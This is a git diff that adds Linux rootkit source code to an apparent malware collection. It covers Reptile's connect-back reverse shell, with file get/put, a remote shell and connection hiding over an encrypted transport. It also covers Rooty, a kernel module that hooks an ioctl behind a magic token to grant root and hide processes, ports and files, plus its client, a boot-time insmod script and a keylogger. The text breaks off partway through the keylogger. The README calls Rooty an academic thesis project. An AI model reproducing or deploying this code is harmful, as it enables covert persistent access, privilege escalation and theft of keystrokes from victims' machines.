+ continue; + + client_host = gethostbyname(connect_back_host); + if (client_host == NULL) + continue; + + memcpy((void *)&client_addr.sin_addr, + (void *)client_host->h_addr, client_host->h_length); + + client_addr.sin_family = AF_INET; + client_addr.sin_port = htons(connect_back_port); + + ret = connect(client, (struct sockaddr *)&client_addr, + sizeof(client_addr)); + + if (ret < 0) { + close(client); + continue; + } + +#ifdef _REPTILE_ + hide_conn(client_addr, HIDE); +#endif + + ret = pel_server_init(client, secret); + + if (ret != PEL_SUCCESS) { + shutdown(client, 2); + +#ifdef _REPTILE_ + hide_conn(client_addr, UNHIDE); +#endif + + continue; + } + + connect: + + ret = pel_recv_msg(client, message, &len); + + if (ret == PEL_SUCCESS || len == 1) { + if (strcmp((char *)message, EXIT) == 0) + goto end; + + switch (message[0]) { + case GET_FILE: + ret = get_file(client); + + if (ret) + goto connect; + + if (pel_send_msg(client, (unsigned char *)EXIT, + EXIT_LEN) != PEL_SUCCESS) + goto end; + + goto connect; + case PUT_FILE: + put_file(client); + goto connect; + case RUNSHELL: + runshell(client); + if (pel_send_msg(client, (unsigned char *)EXIT, + EXIT_LEN) != PEL_SUCCESS) + goto end; + + goto connect; + case SET_DELAY: + if (pel_recv_msg(client, message, &len) != + PEL_SUCCESS) + goto end; + + if (message[0] == 5) + goto connect; + + message[len] = '\0'; + delay = atoi((char *)message); + + goto connect; + default: + break; + } + } + end: + shutdown(client, 2); + +#ifdef _REPTILE_ + hide_conn(client_addr, UNHIDE); +#endif + + } while (delay > 0); + +out: + if (connect_back_host) + free(connect_back_host); + + if (secret) + free(secret); + + return 0; +} diff --git a/Linux/Rootkits/Reptile/userland/transport/pel.c b/Linux/Rootkits/Reptile/userland/transport/pel.c new file mode 100644 index 0000000..59335a9 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/transport/pel.c @@ -0,0 +1,445 @@ +/* + * Packet Encryption Layer for Tiny SHell, + * by Christophe Devine ; + * this program is licensed under the GPL. + */ + +#include +#include +#include +#include +#include + +#include "aes.h" +#include "pel.h" +#include "sha1.h" + +/* global data */ + +int pel_errno; + +struct pel_context { + /* AES-CBC-128 variables */ + + struct aes_context SK; /* Rijndael session key */ + unsigned char LCT[16]; /* last ciphertext block */ + + /* HMAC-SHA1 variables */ + + unsigned char k_ipad[64]; /* inner padding */ + unsigned char k_opad[64]; /* outer padding */ + unsigned long int p_cntr; /* packet counter */ +}; + +struct pel_context send_ctx; /* to encrypt outgoing data */ +struct pel_context recv_ctx; /* to decrypt incoming data */ + +unsigned char challenge[16] = /* version-specific */ + + "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" + "\x29\x83\x95\x71\x1D\xDE\x58\x0D"; + +unsigned char buffer[BUFSIZE + 16 + 20]; + +/* function declaration */ + +void pel_setup_context(struct pel_context *pel_ctx, char *key, + unsigned char IV[20]); + +int pel_send_all(int s, void *buf, size_t len, int flags); +int pel_recv_all(int s, void *buf, size_t len, int flags); + +/* session setup - client side */ + +int pel_client_init(int server, char *key) +{ + int ret, len, pid; + struct timeval tv; + struct sha1_context sha1_ctx; + unsigned char IV1[20], IV2[20]; + + /* generate both initialization vectors */ + + pid = getpid(); + + if (gettimeofday(&tv, NULL) < 0) { + pel_errno = PEL_SYSTEM_ERROR; + + return (PEL_FAILURE); + } + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, (uint8 *)&tv, sizeof(tv)); + sha1_update(&sha1_ctx, (uint8 *)&pid, sizeof(pid)); + sha1_finish(&sha1_ctx, &buffer[0]); + + memcpy(IV1, &buffer[0], 20); + + pid++; + + if (gettimeofday(&tv, NULL) < 0) { + pel_errno = PEL_SYSTEM_ERROR; + + return (PEL_FAILURE); + } + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, (uint8 *)&tv, sizeof(tv)); + sha1_update(&sha1_ctx, (uint8 *)&pid, sizeof(pid)); + sha1_finish(&sha1_ctx, &buffer[20]); + + memcpy(IV2, &buffer[20], 20); + + /* and pass them to the server */ + + ret = pel_send_all(server, buffer, 40, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + /* setup the session keys */ + + pel_setup_context(&send_ctx, key, IV1); + pel_setup_context(&recv_ctx, key, IV2); + + /* handshake - encrypt and send the client's challenge */ + + ret = pel_send_msg(server, challenge, 16); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + /* handshake - decrypt and verify the server's challenge */ + + ret = pel_recv_msg(server, buffer, &len); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + if (len != 16 || memcmp(buffer, challenge, 16) != 0) { + pel_errno = PEL_WRONG_CHALLENGE; + + return (PEL_FAILURE); + } + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +/* session setup - server side */ + +int pel_server_init(int client, char *key) +{ + int ret, len; + unsigned char IV1[20], IV2[20]; + + /* get the IVs from the client */ + + ret = pel_recv_all(client, buffer, 40, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + memcpy(IV2, &buffer[0], 20); + memcpy(IV1, &buffer[20], 20); + + /* setup the session keys */ + + pel_setup_context(&send_ctx, key, IV1); + pel_setup_context(&recv_ctx, key, IV2); + + /* handshake - decrypt and verify the client's challenge */ + + ret = pel_recv_msg(client, buffer, &len); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + if (len != 16 || memcmp(buffer, challenge, 16) != 0) { + pel_errno = PEL_WRONG_CHALLENGE; + + return (PEL_FAILURE); + } + + /* handshake - encrypt and send the server's challenge */ + + ret = pel_send_msg(client, challenge, 16); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +/* this routine computes the AES & HMAC session keys */ + +void pel_setup_context(struct pel_context *pel_ctx, char *key, + unsigned char IV[20]) +{ + int i; + struct sha1_context sha1_ctx; + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, (uint8 *)key, strlen(key)); + sha1_update(&sha1_ctx, IV, 20); + sha1_finish(&sha1_ctx, buffer); + + aes_set_key(&pel_ctx->SK, buffer, 128); + + memcpy(pel_ctx->LCT, IV, 16); + + memset(pel_ctx->k_ipad, 0x36, 64); + memset(pel_ctx->k_opad, 0x5C, 64); + + for (i = 0; i < 20; i++) { + pel_ctx->k_ipad[i] ^= buffer[i]; + pel_ctx->k_opad[i] ^= buffer[i]; + } + + pel_ctx->p_cntr = 0; +} + +/* encrypt and transmit a message */ + +int pel_send_msg(int sockfd, unsigned char *msg, int length) +{ + unsigned char digest[20]; + struct sha1_context sha1_ctx; + int i, j, ret, blk_len; + + /* verify the message length */ + + if (length <= 0 || length > BUFSIZE) { + pel_errno = PEL_BAD_MSG_LENGTH; + + return (PEL_FAILURE); + } + + /* write the message length at start of buffer */ + + buffer[0] = (length >> 8) & 0xFF; + buffer[1] = (length)&0xFF; + + /* append the message content */ + + memcpy(buffer + 2, msg, length); + + /* round up to AES block length (16 bytes) */ + + blk_len = 2 + length; + + if ((blk_len & 0x0F) != 0) { + blk_len += 16 - (blk_len & 0x0F); + } + + /* encrypt the buffer with AES-CBC-128 */ + + for (i = 0; i < blk_len; i += 16) { + for (j = 0; j < 16; j++) { + buffer[i + j] ^= send_ctx.LCT[j]; + } + + aes_encrypt(&send_ctx.SK, &buffer[i]); + + memcpy(send_ctx.LCT, &buffer[i], 16); + } + + /* compute the HMAC-SHA1 of the ciphertext */ + + buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF; + buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF; + buffer[blk_len + 2] = (send_ctx.p_cntr << 8) & 0xFF; + buffer[blk_len + 3] = (send_ctx.p_cntr) & 0xFF; + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, send_ctx.k_ipad, 64); + sha1_update(&sha1_ctx, buffer, blk_len + 4); + sha1_finish(&sha1_ctx, digest); + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, send_ctx.k_opad, 64); + sha1_update(&sha1_ctx, digest, 20); + sha1_finish(&sha1_ctx, &buffer[blk_len]); + + /* increment the packet counter */ + + send_ctx.p_cntr++; + + /* transmit ciphertext and message authentication code */ + + ret = pel_send_all(sockfd, buffer, blk_len + 20, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +/* receive and decrypt a message */ + +int pel_recv_msg(int sockfd, unsigned char *msg, int *length) +{ + unsigned char temp[16]; + unsigned char hmac[20]; + unsigned char digest[20]; + struct sha1_context sha1_ctx; + int i, j, ret, blk_len; + + /* receive the first encrypted block */ + + ret = pel_recv_all(sockfd, buffer, 16, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + /* decrypt this block and extract the message length */ + + memcpy(temp, buffer, 16); + + aes_decrypt(&recv_ctx.SK, buffer); + + for (j = 0; j < 16; j++) { + buffer[j] ^= recv_ctx.LCT[j]; + } + + *length = (((int)buffer[0]) << 8) + (int)buffer[1]; + + /* restore the ciphertext */ + + memcpy(buffer, temp, 16); + + /* verify the message length */ + + if (*length <= 0 || *length > BUFSIZE) { + pel_errno = PEL_BAD_MSG_LENGTH; + + return (PEL_FAILURE); + } + + /* round up to AES block length (16 bytes) */ + + blk_len = 2 + *length; + + if ((blk_len & 0x0F) != 0) { + blk_len += 16 - (blk_len & 0x0F); + } + + /* receive the remaining ciphertext and the mac */ + + ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0); + + if (ret != PEL_SUCCESS) + return (PEL_FAILURE); + + memcpy(hmac, &buffer[blk_len], 20); + + /* verify the ciphertext integrity */ + + buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF; + buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF; + buffer[blk_len + 2] = (recv_ctx.p_cntr << 8) & 0xFF; + buffer[blk_len + 3] = (recv_ctx.p_cntr) & 0xFF; + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, recv_ctx.k_ipad, 64); + sha1_update(&sha1_ctx, buffer, blk_len + 4); + sha1_finish(&sha1_ctx, digest); + + sha1_starts(&sha1_ctx); + sha1_update(&sha1_ctx, recv_ctx.k_opad, 64); + sha1_update(&sha1_ctx, digest, 20); + sha1_finish(&sha1_ctx, digest); + + if (memcmp(hmac, digest, 20) != 0) { + pel_errno = PEL_CORRUPTED_DATA; + + return (PEL_FAILURE); + } + + /* increment the packet counter */ + + recv_ctx.p_cntr++; + + /* finally, decrypt and copy the message */ + + for (i = 0; i < blk_len; i += 16) { + memcpy(temp, &buffer[i], 16); + + aes_decrypt(&recv_ctx.SK, &buffer[i]); + + for (j = 0; j < 16; j++) { + buffer[i + j] ^= recv_ctx.LCT[j]; + } + + memcpy(recv_ctx.LCT, temp, 16); + } + + memcpy(msg, &buffer[2], *length); + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +/* send/recv wrappers to handle fragmented TCP packets */ + +int pel_send_all(int s, void *buf, size_t len, int flags) +{ + int n; + size_t sum = 0; + char *offset = buf; + + while (sum < len) { + n = send(s, (void *)offset, len - sum, flags); + + if (n < 0) { + pel_errno = PEL_SYSTEM_ERROR; + + return (PEL_FAILURE); + } + + sum += n; + + offset += n; + } + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} + +int pel_recv_all(int s, void *buf, size_t len, int flags) +{ + int n; + size_t sum = 0; + char *offset = buf; + + while (sum < len) { + n = recv(s, (void *)offset, len - sum, flags); + + if (n == 0) { + pel_errno = PEL_CONN_CLOSED; + + return (PEL_FAILURE); + } + + if (n < 0) { + pel_errno = PEL_SYSTEM_ERROR; + + return (PEL_FAILURE); + } + + sum += n; + + offset += n; + } + + pel_errno = PEL_UNDEFINED_ERROR; + + return (PEL_SUCCESS); +} diff --git a/Linux/Rootkits/Rooty/Makefile b/Linux/Rootkits/Rooty/Makefile new file mode 100644 index 0000000..ea0a5e1 --- /dev/null +++ b/Linux/Rootkits/Rooty/Makefile @@ -0,0 +1,9 @@ +CC = gcc +INCLUDES = -I/home/newhall/include -I../include +obj-m += rooty.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/Module.symvers b/Linux/Rootkits/Rooty/Module.symvers new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Rooty/README.md b/Linux/Rootkits/Rooty/README.md new file mode 100644 index 0000000..97ca3f6 --- /dev/null +++ b/Linux/Rootkits/Rooty/README.md @@ -0,0 +1,43 @@ +# rooty +Academic project of Linux rootkit made for Bachelor Engineering Thesis. + +More about project can be found in actual [thesis](https://github.com/jermeyyy/rooty/blob/master/docs/Praca%20In%C5%BCynierska%20-%20Karol%20Celebi.pdf) or in [article](https://github.com/jermeyyy/rooty/blob/master/docs/3_PT1-2_41-s39_CELEBI_SUSKI.pdf) written by Zbigniew Suski (thesis supervisor). + +Whole rootkit is implemented as LKM module and few user-space services. + +## Functionalities +- root access +- hiding itself +- control via IOCTL interface (client included) +- keylogger +- hide files/dirs +- hide processes +- hide tcp/udp IPv4/IPv6 connections +- remote root shell activated by magic ICMP packet +- VNC protocol service (screen preview only) + +## Screenshots + +### rooty LKM initialization +![](/art/init.png?raw=true) + +### IOCTL control interface +![](/art/ioctl-control.png?raw=true) + +### keylogger +![](/art/keylogger.png?raw=true) + +### sshd initialization +![](/art/ssh-init.png?raw=true) + +### sshd initialized +![](/art/ssh-init2.png?raw=true) + +### remote access +![](/art/ssh-access.png?raw=true) + +### vncd initialization +![](/art/vncd-init.png?raw=true) + +### vncd running +![](/art/vncd-running.png?raw=true) diff --git a/Linux/Rootkits/Rooty/art/init.png b/Linux/Rootkits/Rooty/art/init.png new file mode 100644 index 0000000..9f96661 Binary files /dev/null and b/Linux/Rootkits/Rooty/art/init.png differ diff --git a/Linux/Rootkits/Rooty/art/ioctl-control.png b/Linux/Rootkits/Rooty/art/ioctl-control.png new file mode 100644 index 0000000..a18c981 Binary files /dev/null and b/Linux/Rootkits/Rooty/art/ioctl-control.png differ diff --git a/Linux/Rootkits/Rooty/art/keylogger.png b/Linux/Rootkits/Rooty/art/keylogger.png new file mode 100644 index 0000000..aee80fe Binary files /dev/null and b/Linux/Rootkits/Rooty/art/keylogger.png differ diff --git a/Linux/Rootkits/Rooty/art/ssh-access.png b/Linux/Rootkits/Rooty/art/ssh-access.png new file mode 100644 index 0000000..890fce7 Binary files /dev/null and b/Linux/Rootkits/Rooty/art/ssh-access.png differ diff --git a/Linux/Rootkits/Rooty/art/ssh-init.png b/Linux/Rootkits/Rooty/art/ssh-init.png new file mode 100644 index 0000000..c35d42f Binary files /dev/null and b/Linux/Rootkits/Rooty/art/ssh-init.png differ diff --git a/Linux/Rootkits/Rooty/art/ssh-init2.png b/Linux/Rootkits/Rooty/art/ssh-init2.png new file mode 100644 index 0000000..ec27156 Binary files /dev/null and b/Linux/Rootkits/Rooty/art/ssh-init2.png differ diff --git a/Linux/Rootkits/Rooty/art/vncd-init.png b/Linux/Rootkits/Rooty/art/vncd-init.png new file mode 100644 index 0000000..8051594 Binary files /dev/null and b/Linux/Rootkits/Rooty/art/vncd-init.png differ diff --git a/Linux/Rootkits/Rooty/art/vncd-running.png b/Linux/Rootkits/Rooty/art/vncd-running.png new file mode 100644 index 0000000..6d48a6e Binary files /dev/null and b/Linux/Rootkits/Rooty/art/vncd-running.png differ diff --git a/Linux/Rootkits/Rooty/docs/3_PT1-2_41-s39_CELEBI_SUSKI.pdf b/Linux/Rootkits/Rooty/docs/3_PT1-2_41-s39_CELEBI_SUSKI.pdf new file mode 100644 index 0000000..9e7a380 Binary files /dev/null and b/Linux/Rootkits/Rooty/docs/3_PT1-2_41-s39_CELEBI_SUSKI.pdf differ diff --git a/Linux/Rootkits/Rooty/docs/Praca Inżynierska - Karol Celebi.pdf b/Linux/Rootkits/Rooty/docs/Praca Inżynierska - Karol Celebi.pdf new file mode 100644 index 0000000..313b3c4 Binary files /dev/null and b/Linux/Rootkits/Rooty/docs/Praca Inżynierska - Karol Celebi.pdf differ diff --git a/Linux/Rootkits/Rooty/init b/Linux/Rootkits/Rooty/init new file mode 100644 index 0000000..745179e --- /dev/null +++ b/Linux/Rootkits/Rooty/init @@ -0,0 +1,14 @@ +#! /bin/sh + +case "$1" in + start) + insmod /rooty.ko + ;; + stop) + ;; + *) + exit 1 + ;; +esac + +exit 0 \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/ioctl.h b/Linux/Rootkits/Rooty/ioctl.h new file mode 100644 index 0000000..72d9b74 --- /dev/null +++ b/Linux/Rootkits/Rooty/ioctl.h @@ -0,0 +1,224 @@ +#define AUTH_TOKEN 0xDEADC0DE + +struct s_args +{ + unsigned short cmd; + void *ptr; +}; + +struct s_proc_args +{ + unsigned short pid; +}; + +struct s_file_args +{ + char *name; + unsigned short namelen; +}; + +static int (*inet_ioctl)(struct socket *, unsigned int, unsigned long); + +void *get_inet_ioctl ( int family, int type, int protocol ) +{ + void *ret; + struct socket *sock = NULL; + + if ( sock_create(family, type, protocol, &sock) ) + return NULL; + + ret = sock->ops->ioctl; + + sock_release(sock); + + return ret; +} + +static long n_inet_ioctl ( struct socket *sock, unsigned int cmd, unsigned long arg ) +{ + int ret; + struct s_args args; + + if ( cmd == AUTH_TOKEN ) + { + ret = copy_from_user(&args, (void *)arg, sizeof(args)); + if ( ret ) + return 0; + + switch ( args.cmd ) + { + + case 0: + root_me(); + break; + + case 1: + { + struct s_proc_args proc_args; + ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding PID %hu\n", proc_args.pid); + hide_proc(proc_args.pid); + } + break; + + case 2: + { + struct s_proc_args proc_args; + ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding PID %hu\n", proc_args.pid); + unhide_proc(proc_args.pid); + } + break; + + case 3: + { + struct s_port_args port_args; + + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding TCPv4 port %hu\n", port_args.port); + hide_tcp4_port(port_args.port); + } + break; + + case 4: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding TCPv4 port %hu\n", port_args.port); + unhide_tcp4_port(port_args.port); + } + break; + + case 5: + { + struct s_port_args port_args; + + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding TCPv6 port %hu\n", port_args.port); + hide_tcp6_port(port_args.port); + } + break; + + case 6: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding TCPv6 port %hu\n", port_args.port); + unhide_tcp6_port(port_args.port); + } + break; + + case 7: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding UDPv4 port %hu\n", port_args.port); + hide_udp4_port(port_args.port); + } + break; + + case 8: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding UDPv4 port %hu\n", port_args.port); + unhide_udp4_port(port_args.port); + } + break; + + case 9: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Hiding UDPv6 port %hu\n", port_args.port); + hide_udp6_port(port_args.port); + } + break; + + case 10: + { + struct s_port_args port_args; + ret = copy_from_user(&port_args, args.ptr, sizeof(port_args)); + if ( ret ) + return 0; + printk("rooty: IOCTL->Unhiding UDPv6 port %hu\n", port_args.port); + unhide_udp6_port(port_args.port); + } + break; + + case 11: + { + char *name; + struct s_file_args file_args; + ret = copy_from_user(&file_args, args.ptr, sizeof(file_args)); + if ( ret ) + return 0; + name = kmalloc(file_args.namelen + 1, GFP_KERNEL); + if ( ! name ) + return 0; + ret = copy_from_user(name, file_args.name, file_args.namelen); + if ( ret ) + { + kfree(name); + return 0; + } + name[file_args.namelen] = 0; + printk("rooty: IOCTL->Hiding file/dir %s\n", name); + hide_file(name); + } + break; + + case 12: + { + char *name; + struct s_file_args file_args; + ret = copy_from_user(&file_args, args.ptr, sizeof(file_args)); + if ( ret ) + return 0; + name = kmalloc(file_args.namelen + 1, GFP_KERNEL); + if ( ! name ) + return 0; + ret = copy_from_user(name, file_args.name, file_args.namelen); + if ( ret ) + { + kfree(name); + return 0; + } + name[file_args.namelen] = 0; + printk("rooty: IOCTL->Unhiding file/dir %s\n", name); + unhide_file(name); + kfree(name); + } + break; + + default: + printk("rooty: IOCTL->Unknown command"); + break; + } + return 0; + } + + hijack_pause(inet_ioctl); + ret = inet_ioctl(sock, cmd, arg); + hijack_resume(inet_ioctl); + + return ret; +} diff --git a/Linux/Rootkits/Rooty/ioctl/Makefile b/Linux/Rootkits/Rooty/ioctl/Makefile new file mode 100644 index 0000000..90ba157 --- /dev/null +++ b/Linux/Rootkits/Rooty/ioctl/Makefile @@ -0,0 +1,7 @@ + + +all: + gcc -o ioctl ioctl.c + +clean: + rm ioctl \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/ioctl/ioctl b/Linux/Rootkits/Rooty/ioctl/ioctl new file mode 100644 index 0000000..37c535d Binary files /dev/null and b/Linux/Rootkits/Rooty/ioctl/ioctl differ diff --git a/Linux/Rootkits/Rooty/ioctl/ioctl.c b/Linux/Rootkits/Rooty/ioctl/ioctl.c new file mode 100644 index 0000000..e9ed127 --- /dev/null +++ b/Linux/Rootkits/Rooty/ioctl/ioctl.c @@ -0,0 +1,282 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define AUTH_TOKEN 0xDEADC0DE + +#define SHELL "/bin/sh" + + +struct rooty_proc_args +{ + unsigned short pid; +}; + +struct rooty_port_args +{ + unsigned short port; +}; + +struct rooty_file_args +{ + char *name; + unsigned short namelen; +}; + +struct rooty_args +{ + unsigned short cmd; + void *ptr; +}; + +int main ( int argc, char *argv[] ) +{ + struct rooty_args rooty_args; + struct rooty_proc_args rooty_proc_args; + struct rooty_port_args rooty_port_args; + struct rooty_file_args rooty_file_args; + int sockfd; + int io; + + sockfd = socket(AF_INET, SOCK_STREAM, 6); + if(sockfd < 0) + { + perror("socket"); + exit(1); + } + if(argc==1) + argv[1]="-1"; + + rooty_proc_args.pid = getpid(); + rooty_args.cmd = 1; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + + switch ( atoi(argv[1]) ) + { + case 0: + printf("Dropping to root shell\n"); + rooty_args.cmd = 0; + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + execl(SHELL, "sh", NULL); + break; + + case 1: + { + unsigned short pid = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding PID %hu\n", pid); + + rooty_proc_args.pid = pid; + rooty_args.cmd = 1; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 2: + { + unsigned short pid = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding PID %hu\n", pid); + + rooty_proc_args.pid = pid; + rooty_args.cmd = 2; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 3: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding TCPv4 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 3; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 4: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding TCPv4 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 4; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + case 5: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding TCPv6 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 5; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 6: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding TCPv6 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 6; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 7: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding UDPv4 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 7; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 8: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding UDPv4 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 8; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 9: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Hiding UDPv6 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 9; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 10: + { + unsigned short port = (unsigned short)strtoul(argv[2], NULL, 0); + + printf("Unhiding UDPv6 port %hu\n", port); + + rooty_port_args.port = port; + rooty_args.cmd = 10; + rooty_args.ptr = &rooty_port_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 11: + { + char *name = argv[2]; + + printf("Hiding file/dir %s\n", name); + + rooty_file_args.name = name; + rooty_file_args.namelen = strlen(name); + rooty_args.cmd = 11; + rooty_args.ptr = &rooty_file_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 12: + { + char *name = argv[2]; + + printf("Unhiding file/dir %s\n", name); + + rooty_file_args.name = name; + rooty_file_args.namelen = strlen(name); + rooty_args.cmd = 12; + rooty_args.ptr = &rooty_file_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + case 100: + { + printf("Null command\n"); + + rooty_args.cmd = 100; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + } + break; + + default: + { + printf("Usage: ioctl CMD [ARG]\n"); + printf("\tCMD \tDescription:\n"); + printf("\t---- \t------------\n"); + printf("\t0 \tGive root privilages\n"); + printf("\t1 \tHide process with pid [ARG]\n"); + printf("\t2 \tUnhide process with pid [ARG]\n"); + printf("\t3 \tHide TCP 4 port [ARG]\n"); + printf("\t4 \tUnhide TCP 4 port [ARG]\n"); + printf("\t5 \tHide UDPv4 port [ARG]\n"); + printf("\t6 \tUnhide UDPv4 port [ARG]\n"); + printf("\t7 \tHide TCPv6 port [ARG]\n"); + printf("\t8 \tUnhide TCPv6 port [ARG]\n"); + printf("\t9 \tHide UDPv4 port [ARG]\n"); + printf("\t10 \tUnhide UDPv6 port [ARG]\n"); + printf("\t11 \tHide file/directory named [ARG]\n"); + printf("\t12 \tUnhide file/directory named [ARG]\n"); + printf("\t100 \tEmpty cmd\n\n"); + } + break; + } + + if(io < 0) + { + perror("ioctl"); + exit(1); + } + + return 0; +} diff --git a/Linux/Rootkits/Rooty/keylogger.h b/Linux/Rootkits/Rooty/keylogger.h new file mode 100644 index 0000000..2516638 --- /dev/null +++ b/Linux/Rootkits/Rooty/keylogger.h @@ -0,0 +1,229 @@ +#define FLUSHSIZE 16 +#define LOGSIZE 128 +#define LOG_FILE "/.keylog" + +unsigned long sequence_i = 0; + +DECLARE_WAIT_QUEUE_HEAD(flush_event); + +struct task_struct *log_ts; +struct file *logfile; +volatile unsigned long to_flush = 0; +unsigned long logidx = 0; +char logbuf[LOGSIZE]; + + +static void ksym_std ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned char val = param->value & 0xff; + unsigned long len; + + //printk("rooty: KEYLOGGER: ksym_std: %s\n", ascii[val]); + + len = strlcpy(&logbuf[logidx], ascii[val], LOGSIZE - logidx); + + logidx += len; +} + + +static void ksym_fnc ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned char val = param->value & 0xff; + unsigned long len; + + if ( val & 0xf0 ) + { + len = strlcpy(&logbuf[logidx], upper[val & 0x0f], LOGSIZE - logidx); + //printk("rooty: KEYLOGGER: ksym_fnc: %s\n",upper[val & 0x0f]); + } + else + { + len = strlcpy(&logbuf[logidx], fncs[val], LOGSIZE - logidx); + //printk("rooty: KEYLOGGER: ksym_loc: %s\n",fncs[val]); + } + + logidx += len; +} + +static void ksym_loc ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + unsigned char val = param->value & 0xff; + //printk("rooty: KEYLOGGER: ksym_loc: %s\n",locpad[val]); + len = strlcpy(&logbuf[logidx], locpad[val], LOGSIZE - logidx); + + logidx += len; +} + +static void ksym_num ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + unsigned char val = param->value & 0xff; + //printk("rooty: KEYLOGGER: ksym_num: %s\n",numpad[val]); + len = strlcpy(&logbuf[logidx], numpad[val], LOGSIZE - logidx); + + logidx += len; +} + +static void ksym_arw ( 